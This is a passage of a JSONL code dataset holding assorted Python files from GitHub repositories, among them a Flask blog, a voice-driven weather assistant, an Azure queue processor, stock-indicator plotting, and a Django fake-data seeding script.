name=article.blog, lang=article.language, article_name=article.name)),\n updated=datetime.strptime(article.meta['date'], static_blog.post_date_format),\n published=datetime.strptime(article.meta['date'], static_blog.post_date_format)\n )\n return feed.get_response()\n\"\"\"\n\n\n@app.route('/')\ndef index():\n blogs = static_blog.get_all_blogs()\n return render_template('index.html', blogs=blogs)\n\n\n@app.route('///')\ndef page(name, page_name):\n '''\n Render flatpages\n '''\n\n flat_page = static_blog.get_page_by_name_for(name, page_name)\n return render_template(getattr(flat_page, 'template'), flat_page=flat_page)\n\n\n@app.route('/wiki/')\ndef wiki_index():\n '''\n Render wiki pages\n '''\n\n wiki_pages = static_blog.get_pages_for('wiki')\n return render_template('wiki_index.html', wiki_pages=wiki_pages)\n\n\n@app.route('//')\ndef blog_lang(name):\n '''\n Render blog page with languages\n '''\n\n blog = static_blog.get_blog(name)\n return render_template('blog_all.html', blog=blog)\n\n\n@app.route('///')\ndef blog(name, lang):\n '''\n Render blog index page\n '''\n\n articles = static_blog.get_articles(name, language=lang)\n return render_template('blog.html', articles=articles, language=lang)\n\n\n@app.route('////')\ndef post(name, lang, article_name):\n '''\n Render blog post\n '''\n\n article = static_blog.get_article_by_name(article_name)\n return render_template('post.html', article=article, language=lang)\n\n\n@app.route('/tag//')\ndef tag(tag):\n tagged = [p for p in pages if tag in p.meta.get('tags', [])]\n return render_template('tag.html', articles=tagged, tag=tag)\n\n\n@app.route('/category//')\ndef category(category):\n articles = static_blog.get_all_articles()\n articles_in_category = [\n p for p in articles if category == p.meta.get('category', '')]\n return render_template('category.html', articles=articles_in_category,\n category=category)\n\n\nif __name__ == '__main__':\n if len(sys.argv) > 1 and sys.argv[1] == \"build\":\n app.config['CDN_STATIC'] = True\n app.config['PAGES_ADDITIONAL_JS'] = True\n freezer.freeze()\n else:\n app.run(port=8000)\n","repo_name":"oiwn/my-blog","sub_path":"blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"37317413393","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 22 17:09:37 2020\n\n@author: fede9326\n\"\"\"\n\nimport pygame\nimport speech_recognition as sr_audio\nimport pyttsx3\nimport spacy\nfrom spacy.matcher import Matcher\nimport requests\n\n# openweathermap API_Key\nweather_api_key = \"xxxxxxxxxxxxxxxxxxxxxxxxxx\"\n# base_url variable to store url \nopenweathermap_url = \"http://api.openweathermap.org/data/2.5/weather?\" \n\ndef read_text(text):\n engine = pyttsx3.init()\n engine.say(text)\n engine.runAndWait()\n \ndef play_sound(filename):\n pygame.mixer.init()\n pygame.mixer.music.load(filename)\n pygame.mixer.music.play()\n \ndef weather_forecast(city):\n print(\"Fecthing the weather in \" + city) \n \n complete_url = openweathermap_url + \"appid=\" + weather_api_key + \"&q=\" + city\n \n # retrieving data through get API\n response = requests.get(complete_url) \n \n # convert response into json \n data = response.json() \n \n # Checking if the city was found\n if data[\"cod\"] != \"404\": \n \n # storing value of key \"temp\" and converting int celsius\n current_temperature = round(data[\"main\"][\"temp\"] - 273.15)\n \n # storing the weather description \n weather_description = data[\"weather\"][0][\"description\"] \n \n # returning the complete string\n return \"The weather in \" + city + \"is: \" + weather_description + \" with a temperature of \" + str(current_temperature) + \" grad celsius.\"\n \n else: \n return \"City Not Found\"\n \ndef one_shot_weather_forecast():\n \n # Loading spacy dictionary\n nlp = spacy.load('en')\n \n # Bot question\n read_text(\"Hi, would you like to know the weather forecast?\")\n \n # Recording answer after the beep\n mic = sr_audio.Microphone()\n r = sr_audio.Recognizer()\n with mic as source:\n play_sound(\"beep.mp3\")\n audio = r.listen(source, phrase_time_limit=10)\n print(\"Finish Recording. Performing Speech Recognition\")\n \n # Calling Google Cloud Service or sphinx\n text = \"\"\n try: \n text = r.recognize_google_cloud(audio)\n # text = r.recognize_sphinx(audio)\n except:\n print(\"No reponse from Cloud Service\")\n print(\"The recognized text is: \" + text)\n \n # Text analysis with Spacy. Creating Spacy Document\n doc = nlp(text)\n \n # Creating a matcher for the yes/no answer\n matcher = Matcher(nlp.vocab)\n pattern = [{\"LOWER\": \"yes\"}]\n matcher.add(\"Positive\", None, pattern)\n \n # Extracting the city in case of Positive response. Cities are grouped into label \n # \"GPE\" or sometimes \"ORG\".\n city = \"\"\n if len(matcher(doc)) > 0:\n for ent in doc.ents:\n if ent.label_ == \"GPE\" or \"ORG\":\n city = ent.text\n break\n \n if city != \"\":\n print(\"The selected city is: \" + city)\n \n # retrieving weather info through openweathermap API\n weather_forecast_string = weather_forecast(city)\n \n # reading information\n read_text(weather_forecast_string)\n \n else:\n print(\"The service was not able to recognize the city\")\n \n \nif __name__ == \"__main__\":\n one_shot_weather_forecast()\n\n\n\n","repo_name":"FEDE9326/VoiceRecognitionProject","sub_path":"Assistant-WeatherForecast/fundamentals.py","file_name":"fundamentals.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"22895744958","text":"import asyncio\nimport json\nimport logging\nimport os\nfrom typing import Dict\n\nfrom azure.servicebus import ServiceBusReceiveMode\nfrom azure.servicebus.aio import ServiceBusClient\nfrom azure.storage.blob.aio import BlobLeaseClient\n\nfrom commons.msi_helper.msi_util import get_msi_cred\nfrom commons.storage_helper.blob_msi_util import blob_exists, read_blob, write_sm_blob\nfrom commons.utils import get_store_key, get_fran_key, get_loc_id, get_fran_emp_key\nfrom lb_processor.helpers.fran_helper_batch import proc_store_rec_batch, create_fran_container_batch\nfrom lb_processor.helpers.store_helper_batch import update_emp_rec_batch, create_emp_container_batch\n\nlogger = logging.getLogger('smartsell')\n\nsb_ns_endpoint = 'sb://{0}.servicebus.windows.net'.format(os.environ['sb_ns_name'])\n\nlb_queue_name = os.environ[\"lb_queue_name\"]\ncontainer_name = os.environ[\"lb_container_name\"]\n\n\nasync def process_sm_message(sm: Dict):\n store_key = get_store_key(sm[0])\n fran_key = get_fran_key(sm[0])\n loc_id = get_loc_id(sm[0])\n fran_emp_key = get_fran_emp_key(sm[0])\n rest_no = sm[0][\"Rest_Number\"]\n fran_id = sm[0][\"FranchiseeId\"]\n\n store_json = await perform_store_tran(store_key, sm)\n\n await asyncio.gather(\n perform_franchisee_tran(fran_key, loc_id, rest_no, fran_id, store_json),\n perform_emp_franchisee_tran(fran_emp_key, sm))\n\n\nasync def perform_store_tran(store_key: str, sm: Dict) -> Dict:\n store_json, lease, store_blob_present = await process_store(store_key, sm)\n await write_sm_blob(container_name, store_key, store_json, lease, store_blob_present)\n return store_json\n\n\nasync def perform_franchisee_tran(fran_key: str,\n loc_id: str,\n rest_no: str,\n fran_id: str,\n store_json: Dict):\n fran_json, lease, fran_blob_present = await process_franchisee(fran_key, loc_id, rest_no, fran_id, store_json)\n await write_sm_blob(container_name, fran_key, fran_json, lease, fran_blob_present)\n\n\nasync def perform_emp_franchisee_tran(fran_emp_key: str, sm: Dict):\n fran_emp_json, lease, fran_emp_blob_present = await process_emp_franchisee(fran_emp_key, sm)\n await write_sm_blob(container_name, fran_emp_key, fran_emp_json, lease, fran_emp_blob_present)\n\n\nasync def process_store(blob_name: str,\n sm: Dict) -> (Dict, BlobLeaseClient, bool):\n if await blob_exists(container_name, blob_name):\n logger.info(f'Store Exists: {blob_name}')\n\n blob_str, lease = await read_blob(container_name, blob_name)\n store_json = json.loads(blob_str)\n updated_store_json = update_emp_rec_batch(store_json, sm)\n logger.info(f'Store Record Updated: {blob_name}')\n return updated_store_json, lease, True\n else:\n new_store_json = create_emp_container_batch(sm)\n logger.info(f'Created New Store Record: {blob_name}')\n return new_store_json, None, False\n\n\nasync def process_franchisee(blob_name: str,\n store_id: str,\n rest_no: str,\n fran_id: str,\n store_json: Dict) -> (Dict, BlobLeaseClient, bool):\n if await blob_exists(container_name, blob_name):\n logger.info(f'Franchisee Exists: {blob_name}')\n\n blob_str, lease = await read_blob(container_name, blob_name)\n fran_cont_json = json.loads(blob_str)\n\n updated_fran_json = proc_store_rec_batch(store_id, rest_no, fran_id, fran_cont_json, store_json)\n logger.info(f'Franchisee Updated: {blob_name}')\n return updated_fran_json, lease, True\n else:\n new_fran_json = create_fran_container_batch(store_id, rest_no, fran_id, store_json)\n logger.info(f'Created New Franchisee Record: {blob_name}')\n return new_fran_json, None, False\n\n\nasync def process_emp_franchisee(blob_name: str,\n sm: Dict) -> (Dict, BlobLeaseClient, bool):\n if await blob_exists(container_name, blob_name):\n logger.info(f'Franchisee[EMP] Exists: {blob_name}')\n\n blob_str, lease = await read_blob(container_name, blob_name)\n cont_json = json.loads(blob_str)\n\n updt_cont_json = update_emp_rec_batch(cont_json, sm)\n logger.info(f'Emp Record Updated in Franchisee[EMP]: {blob_name}')\n return updt_cont_json, lease, True\n else:\n new_cont_json = create_emp_container_batch(sm)\n logger.info(f'Created New Franchisee[EMP]: {blob_name}')\n return new_cont_json, None, False\n\n\nasync def process_sm_lb():\n try:\n async with get_msi_cred() as credential:\n sb_client = ServiceBusClient(sb_ns_endpoint, credential)\n async with sb_client:\n logger.debug('Inside service bus client')\n receiver = sb_client.get_queue_receiver(queue_name=lb_queue_name,\n receive_mode=ServiceBusReceiveMode.RECEIVE_AND_DELETE)\n logger.debug('After Receiver is created....')\n async with receiver:\n logger.debug(f'Receiver Active on {lb_queue_name}')\n async for msg in receiver:\n try:\n logger.debug(\"Received SmartSell Event: \" + str(msg))\n sm = json.loads(str(msg))\n if sm:\n await process_sm_message(sm)\n logger.debug(f'Message Processed from {lb_queue_name}....')\n except Exception as ex:\n logger.exception(f'Exception while processing Message: {ex!r}')\n\n except Exception as ex:\n logger.exception(f'Exception While Creating Queue Receiver: {ex!r}')","repo_name":"bhavyaKumawat/Smart-Sell","sub_path":"lb_processor/lb_proc_batch.py","file_name":"lb_proc_batch.py","file_ext":"py","file_size_in_byte":5853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43998811279","text":"import numpy as np\nimport os\nimport csv\n\nfrom . import config\ndata_dir = config.data_dir\n\ndef read_articles(article_dir):\n articles = []\n train_dir = os.path.join(data_dir, article_dir)\n for filename in sorted(os.listdir(train_dir)):\n myfile = open(os.path.join(train_dir, filename))\n article = myfile.read()\n articles.append(article)\n myfile.close()\n article_ids = []\n for filename in sorted(os.listdir(train_dir)):\n article_ids.append(filename[7:-4])\n return articles, article_ids\n\ndef read_spans():\n spans = []\n label_dir = os.path.join(data_dir, \"train-labels-task1-span-identification\")\n for filename in sorted(os.listdir(label_dir)):\n myfile = open(os.path.join(label_dir, filename))\n tsvreader = csv.reader(myfile, delimiter=\"\\t\")\n span = []\n for row in tsvreader:\n span.append((int(row[1]), int(row[2])))\n myfile.close()\n spans.append(span)\n return spans\n\ndef print_spans(article, span):\n for sp in span:\n print (article[sp[0]: sp[1]])\n print()\n\ndef return_spans(article, span):\n spans = []\n for sp in span:\n spans.append(article[sp[0] : sp[1]])\n return spans\n\ndef flat_accuracy(preds, labels):\n pred_flat = np.argmax(preds, axis=2).flatten()\n labels_flat = labels.flatten()\n return np.sum(pred_flat == labels_flat) / len(labels_flat)\n","repo_name":"paramansh/propaganda_detection","sub_path":"src/identification/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"44"} +{"seq_id":"39997341952","text":"import pandas as pd\ndf_alunos = pd.read_csv(\"https://raw.githubusercontent.com/elasComputacao/raio-x-dados/main/data/dados-brutos/alunos_raiox.csv\")\n\ndf_geral = df_alunos.query(\"periodo_ingresso >= 2000.1\")\ngeral = df_geral.groupby(['periodo_ingresso']).size().reset_index().rename(columns={0:'geral'})\nmulheres = df_geral.query(\"sexo == 'Feminino'\").groupby(['periodo_ingresso']).size().reset_index().rename(columns={0:'mulheres'})\ndf_ingresso = geral.join(mulheres['mulheres'])\ndf_ingresso.mulheres = df_ingresso.mulheres.fillna(0.0).astype(int)\ndf_ingresso.periodo_ingresso = df_ingresso.periodo_ingresso.astype(str)\n\ndf_ingresso['porcentagem_mulheres'] = df_ingresso['mulheres']/df_ingresso['geral']*100\ndf_ingresso['porcentagem_mulheres'] = df_ingresso['porcentagem_mulheres'].round(2)\n\nmedia_geral = df_ingresso['porcentagem_mulheres'].sum() / df_ingresso['porcentagem_mulheres'].count()\nprint('Media ingresso geral:', media_geral.round(2))\n\nantes_2007 = df_ingresso.query(\"periodo_ingresso < '2007.1'\")\nmedia_antes = antes_2007['porcentagem_mulheres'].sum() / antes_2007['porcentagem_mulheres'].count()\nprint('Media ingresso antes de 2007.1:', media_antes.round(2))\n\ndepois_2007 = df_ingresso.query(\"periodo_ingresso >= '2007.1'\")\nmedia_depois = depois_2007['porcentagem_mulheres'].sum() / depois_2007['porcentagem_mulheres'].count()\nprint('Media ingresso a partir de 2007.1:', media_depois.round(2))","repo_name":"elasComputacao/raio-x-dados","sub_path":"code/porcentagens/ingresso.py","file_name":"ingresso.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"8013640243","text":"#!/usr/bin/env python\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.colors import Colormap, ListedColormap\nfrom comp import sort_tuning_curves\n\n\ndef trace(traces, index=0):\n plt.plot(range(np.size(traces, 1)), traces[index,])\n plt.xlabel(\"Frame #\")\n plt.ylabel(\"Fluorescence ($F$)\")\n\n\ndef tuning_curve(curves, ci, index=0):\n plt.errorbar(range(np.size(curves, 1)), curves[index,], ci[index,].T, fmt=\".\")\n plt.xlabel(\"Stimulus\")\n plt.ylabel(\"Response ($\\Delta F/F$)\")\n\n\ndef tuning_curve_matrix(curves, sort=None, vertbars=True):\n if sort==True: curves = curves[sort_tuning_curves(curves),:]\n elif sort: curves = curves[sort,:]\n plt.imshow(curves, interpolation=\"none\", aspect=\"auto\") #, extent=[-.5, np.size(curves,1)-.5, np.size(curves,0)-.5, -.5]\n plt.plot([-.5,np.size(curves,1)+.5], [-.5,np.size(curves,0)+.5], 'w--', linewidth=1)\n if vertbars:\n if vertbars==True:\n vertbars=[.5,5.5,15.5,25.5,30.5]\n if np.size(curves,1)==31: # no catch\n vertbars = vertbars[1:]-1\n elif np.size(curves,1)==26: # multi-piston stimuli only\n vertbars = vertbars[2:]-6\n for v in vertbars:\n plt.axvline(v, color='w', linestyle='--', linewidth=.5)\n plt.xlabel(\"Stimulus\")\n plt.ylabel(\"Neuron\")\n plt.colorbar()","repo_name":"dmossing/nub_analysis_code","sub_path":"Evan/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"25879385366","text":"\nfrom rest_framework.views import Response\nfrom typing import Any, TypedDict\nfrom http import HTTPStatus\nfrom rest_framework.views import exception_handler\nfrom django.urls import path, include\n\nurlpatterns = [\n path('', include(\"commons.authentication.urls\"))\n]\n\n\ndef api_exception_handler(exc: Exception, context: \"dict[str, Any]\") -> Response:\n \"\"\"\n Custom API Exception handler\n \"\"\"\n\n response = exception_handler(exc, context)\n\n if response is not None:\n print(\"sdsd\", HTTPStatus)\n http_code_to_message = {v.value: v.description for v in HTTPStatus}\n error_payload = {\n \"error\": {\n \"status_code\": 0,\n \"message\": \"\",\n \"details\": [],\n }\n }\n error = error_payload[\"error\"]\n status_code = response.status_code\n\n error[\"status_code\"] = status_code\n error[\"message\"] = http_code_to_message[status_code]\n error[\"details\"] = response.data\n response.data = error_payload\n\n return response\n","repo_name":"johannesgirmaw/ecommerce","sub_path":"commons/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"6524652615","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"servicenow-api-client\",\n version=\"0.1.2\",\n author=\"Thiago Machado\",\n author_email=\"thiagomachhado@gmail.com\",\n description=\"A python client to Service Now API.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n project_urls={\n \"Source Code\": \"https://github.com/thiagomachado/service_now_client\"\n },\n install_requires=['requests'],\n packages=['servicenow_api_client'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n)\n","repo_name":"thiagomachado/service_now_client","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"22962422169","text":"import os\nimport re\nwith open('C:/Users/HP/Desktop/文件记录/wenben.txt','r',encoding='utf-8') as f :\n lines=f.readlines()\n mat=r'.*foo.*'\n for line in lines:\n #a=re.findall(line,mat)\n pattern1 = re.compile(mat)\n res=pattern1.findall(line)\n s=[l for l in res if len(res)>0 ]\n print(s)\n\n\n","repo_name":"QingFengLanYue/learn_python","sub_path":"ceshi/wenben.py","file_name":"wenben.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12109401788","text":"import numpy as np\nimport pandas as pd\nfrom util import get_data, symbol_to_path\nimport datetime as dt\nimport matplotlib.pyplot as plt\n\n\ndef get_sma(df, lookback, plot=False):\n sma = df.rolling(window=lookback).mean()\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Price\",\n title=('Simple Moving Average (SMA) - ' + str(lookback) + ' / ' + str(lookback * 5) + ' Day lookback'))\n axis.plot(df, label=\"Price\")\n axis.plot(sma, label=\"SMA 10\")\n sma5 = df.rolling(window=lookback * 5).mean()\n axis.plot(sma5, label=\"SMA 50\")\n axis.legend()\n axis.grid(True)\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//SMA.png', dpi=100)\n plt.clf()\n\n return sma\n\ndef get_bb(df, lookback, plot=False):\n rolling_std = df.rolling(window=lookback, min_periods=lookback).std()\n sma = get_sma(df, lookback)\n top_band = sma + 2 * rolling_std\n bottom_band = sma - 2 * rolling_std\n bb = pd.concat([bottom_band, top_band], axis=1)\n #bb.columns = ['bottom_band', 'top_band']\n\n bbp = (df - bottom_band) / (top_band - bottom_band)\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Price\", title=('Bollinger Bands (BB) - ' + str(lookback) + ' Day Lookback'))\n\n axis.plot(df, label=\"Price\")\n axis.plot(sma, label=\"SMA\", color='orange', linestyle='--')\n axis.plot(top_band, label=\"Upper Band\", color='red')\n axis.plot(bottom_band, label=\"Bottom Band\", color='red')\n axis.grid(True)\n axis.legend()\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//BollingerBands.png', dpi=100)\n plt.clf()\n\n return bbp\n\ndef get_momentum(df, lookback, plot=False):\n momentum = (df / df.shift(lookback)) - 1\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Price (Normalized)\", title=('Momentum - ' + str(lookback) + ' Day Lookback'))\n axis.plot(df, label=\"Price - 1\")\n axis.plot(momentum, label=\"Momentum\")\n axis.grid(True)\n axis.legend()\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//Momentum.png', dpi=100)\n plt.clf()\n\n return momentum\n\ndef get_ema(df, lookback, plot=False):\n ema = df.ewm(span=lookback, min_periods=lookback, adjust=False).mean()\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Price\", title=('Exponential Moving Average (EMA) - '\n + str(lookback) + ' / ' + str(lookback*2.5) + ' / '\n + str(lookback*5) + ' / ' + str(lookback*10) + ' Day Lookback'))\n axis.plot(df, label=\"Price\")\n axis.plot(ema, label=\"EMA\")\n ema2f = df.ewm(span=lookback*2.5, min_periods=lookback*2.5, adjust=False).mean()\n axis.plot(ema2f, label=\"EMA 25\")\n ema5 = df.ewm(span=lookback * 5, min_periods=lookback * 5, adjust=False).mean()\n axis.plot(ema5, label=\"EMA 50\")\n ema10 = df.ewm(span=lookback * 10, min_periods=lookback * 10, adjust=False).mean()\n axis.plot(ema10, label=\"EMA 100\")\n axis.legend()\n axis.grid(True)\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//EMA.png', dpi=100)\n return ema\n\ndef get_ppo(df, plot=False):\n ppo = (get_ema(df, 12) - get_ema(df, 26)) / get_ema(df, 26)\n ppo[0:26] = np.nan\n signal = get_ema(ppo, 9)\n diff = ppo - signal\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Percentage Price\",\n title=('Price Percentage Oscillator (PPO) - (12-26)/26 vs. 9 Day Lookback'))\n axis.plot(ppo, label=\"PPO\")\n axis.plot(signal, label=\"PPO Signal\")\n axis.plot(diff, label=\"PPO Difference\", color='gray', linestyle='--')\n axis.legend()\n axis.grid(True)\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//PPO.png', dpi=100)\n return ppo\n\ndef test():\n\n sd = dt.datetime(2008, 1, 1)\n ed = dt.datetime(2009, 12, 31)\n sym = ['JPM']\n dates = pd.date_range(sd, ed)\n\n df = get_data(sym, dates)\n df = df[sym]\n\n sma = get_sma(df, 10, True)\n bb = get_bb(df, 20, True)\n momentum = get_momentum(df, 10, True)\n ema = get_ema(df, 10, True)\n ppo = get_ppo(df, True)\n\n print(sma)\n print(bb)\n print(momentum)\n print(ema)\n print(ppo)\n\ndef author():\n return 'jwilkins36'","repo_name":"JKWilkins/StockPortfolioManager","sub_path":"indicators.py","file_name":"indicators.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4831805934","text":"'''\nDraw a star\n'''\n\nfrom turtleplotbot import TurtlePlotBot\nbot=TurtlePlotBot()\n\ndef star(bot, points, length):\n '''\n Draw a 'n' pointed star with 'length' sides\n\n Args:\n sides: number of points\n length: length of each side\n '''\n angle = 180.0 - 180.0 / points\n bot.pendown()\n\n for _ in range(points):\n bot.forward(length)\n bot.left(angle)\n bot.forward(length)\n\n bot.penup()\n\nstar(bot, 5, 30)\n\n__import__(\"menu\") # optional return to turtleplotbot menu\n","repo_name":"russhughes/TurtlePlotBot","sub_path":"examples/star.py","file_name":"star.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"44"} +{"seq_id":"5924798584","text":"# 게임\nimport math\ntotal_game, cur_win_game = map(int, input().split())\n\npercent = cur_win_game * 100 // total_game\nresult = 0\nif percent >= 99:\n result = -1\nelse:\n # 앞으로 할 게임횟수를 x로 두고 방정식\n result = math.ceil(((percent + 1) * total_game - 100 * cur_win_game)/(100 - (percent + 1)))\n\nprint(result)\n","repo_name":"Sungayoung/Algorithm","sub_path":"01_Baekjoon/02_silver/3_1072.py","file_name":"3_1072.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73809066692","text":"from cgi import print_directory\nfrom distutils.core import run_setup\nfrom termios import NL1\nfrom unittest import result\n\nfrom numpy import number\n\n\ndef add(x, y):# parameters\n return x + y;\n\nn = input(\"Enter the 1st value: \")\nm = input(\"Enter the 2nd value: \")\nn = int(n)\nm = int(m)\nresult= add(n, m)#arguments\nprint(result)\n\nnumber1 = input(\"Enter the 1st value: \")\nnumber2 = input(\"Enter the 2nd value: \")\nnumber1 = int(number1)\nnumber2 = int(number2)\nresult = add(number1, number2)#arguments\nprint(result)\n\nprint(add(2.6, 3.5))\n","repo_name":"cheattheweb/python3_basic_learning","sub_path":"function/basic_fun1.py","file_name":"basic_fun1.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32665889610","text":"from datetime import timedelta\nimport itertools\nimport random\n\nimport faker\n\nfrom profiles.models import User, Profile\nfrom videos.models import (Category, Comment, CommentVote, Tag, Video,\n VideoVote, ViewCount)\nfrom videos.mixins import VideoAPIMixin\n\nfake = faker.Factory.create()\n\n\ndef exclude_user(user_ids, id_to_exclude):\n \"\"\"\n Helper function to simplify excluding a user_id from a list\n \"\"\"\n id_index = user_ids.index(id_to_exclude)\n return user_ids[:id_index] + user_ids[id_index+1:]\n\n\ndef populate_category_table():\n \"\"\"\n Populate youtube categories from the category list api call for the US\n \"\"\"\n # By inspection I found that categories are the same across supported\n # youtube regions\n parameters = dict(part='snippet', regionCode='US')\n JSON = VideoAPIMixin._get_info_from_api('videoCategories',\n params=parameters)\n categories = [Category(pk=data['id'], title=data['snippet']['title'])\n for data\n in JSON['items']]\n Category.objects.bulk_create(categories)\n\n\ndef populate_user_table():\n \"\"\"\n Create 100 random users to associate with video submissions, comments, etc\n done using bulk create with the same password hash as the first user\n created normally\n \"\"\"\n # Create the first fake user from which a hashed password will be gathered\n # for future entries\n first_user = User.objects.create_user(fake.user_name(),\n fake.email(),\n fake.password())\n first_user.save()\n first_user.profile.blurb = fake.text\n first_user.profile.website = fake.url\n first_user.profile.save()\n hashed_password = first_user.password\n fake_users = [User(username=fake.user_name(),\n first_name=fake.first_name(),\n last_name=fake.last_name(),\n email=fake.email(),\n password=hashed_password)\n for index\n in range(99)]\n User.objects.bulk_create(fake_users)\n user_ids = list(User.objects.values_list('id', flat=True))\n # Exclude first_user id as a profile has already been created for it\n user_ids.remove(first_user.id)\n # Create profiles for all bulk created users\n profiles = [Profile(user_id=id, blurb=fake.text, website=fake.url)\n for id\n in user_ids]\n Profile.objects.bulk_create(profiles)\n\n\ndef populate_video_table():\n \"\"\"\n Populate video table by querying 50 videos from each category from\n youtube\n \"\"\"\n user_ids = User.objects.values_list('id', flat=True)\n parameters = dict(part='id',\n fields='items/id/videoId',\n maxResults=50,\n # Don't need to be embarassed while testing\n safeSearch='strict',\n type='video',\n # Only want to allow embeddable videos for dev database\n videoEmbeddable='true')\n responses = [VideoAPIMixin._get_info_from_api('search', params={\n **parameters, **{'videoCategoryId': category_id}})\n for category_id\n in Category.objects.values_list('id', flat=True)]\n video_ids = list(itertools.chain(*[[data['id']['videoId']\n for data\n in JSON['items']]\n for JSON\n in responses]))\n user_index = 0\n for index in range(0, len(video_ids), 50):\n Video.objects.create_videos(user_ids[user_index],\n *video_ids[index:index+50])\n user_index += 1\n\n\ndef populate_user_relationships():\n \"\"\"\n Creates random relationships for users with other users, categories, tags\n and videos\n \"\"\"\n id_objects = [Category, User, Tag, Video]\n id_map = map(lambda x: x.objects.values_list('id', flat=True), id_objects)\n category_ids, user_ids, tag_ids, video_ids = [list(query)\n for query\n in list(id_map)]\n for user in User.objects.iterator():\n user.favorite_videos.add(*random.sample(video_ids, 10))\n user.followed_categories.add(*random.sample(category_ids, 10))\n user.followed_tags.add(*random.sample(tag_ids, 50))\n user.following.add(*random.sample(exclude_user(user_ids, user.id), 5))\n\n\ndef populate_comment_table():\n \"\"\"\n Generate comment data by having each user generate comments for each\n video and then randomly generate 1000 comments on randomly selected\n existing comments\n \"\"\"\n user_ids = list(User.objects.values_list('id', flat=True))\n video_ids = list(Video.objects.values_list('id', flat=True))\n # Generate comments from all users for all videos\n video_comments = [Comment(text=fake.text(),\n commenter_id=user_id,\n video_id=video_id)\n for user_id in user_ids\n for video_id in video_ids]\n Comment.objects.bulk_create(video_comments)\n # Generate random comments to comments from all users\n for number_of_generations in range(1000):\n comments = [Comment(text=fake.text(),\n commenter_id=random.choice(user_ids),\n parent_id=comment.id,\n video_id=comment.video_id)\n for comment\n in Comment.objects.all().order_by('?')[:100]]\n Comment.objects.bulk_create(comments)\n\n\ndef populate_user_votes_comments():\n \"\"\"\n Populate user voting data by having each user randomly vote for\n 10,000 comments.\n \"\"\"\n comment_ids = list(Comment.objects.values_list('id', flat=True))\n user_ids = list(User.objects.values_list('id', flat=True))\n for user_id in user_ids:\n comments = random.sample(comment_ids, 10000) # 10,000 is 5% of 200,000\n positive_votes = [CommentVote(value=1,\n comment_id=comment_id,\n voter_id=user_id)\n for comment_id\n in comments[:5000]]\n negative_votes = [CommentVote(value=-1,\n comment_id=comment_id,\n voter_id=user_id)\n for comment_id\n in comments[5000:]]\n votes = itertools.chain(positive_votes, negative_votes)\n CommentVote.objects.bulk_create(votes)\n\n\ndef populate_user_votes_videos():\n \"\"\"\n Populate user voting data by having each user randomly vote for\n 50 videos\n \"\"\"\n video_ids = set(Video.objects.values_list('id', flat=True))\n users = list(User.objects.all())\n for user in users:\n # User has already voted for videos they uploaded\n user_videos = set(user.uploaded_videos.values_list('id', flat=True))\n not_user_videos = video_ids - user_videos\n videos = random.sample(not_user_videos, 50) # 50 is 5% of 1,000\n votes = [VideoVote(value=1,\n video_id=video_id,\n voter_id=user.id)\n for video_id\n in videos]\n VideoVote.objects.bulk_create(votes)\n\n\ndef populate_video_viewcounts():\n \"\"\"\n Simulate video comment viewcounts by subtracting a random amount of views\n from a videos intial viewcount and associating the difference with a day\n before the day the viewcount was gathered from. Continuing until the count\n goes to zero\n \"\"\"\n past_views = []\n for viewcount in ViewCount.objects.iterator():\n end_time = viewcount.count_datetime\n video_id = viewcount.video_id\n count = viewcount.views\n viewcounts = []\n while count > 0:\n count -= 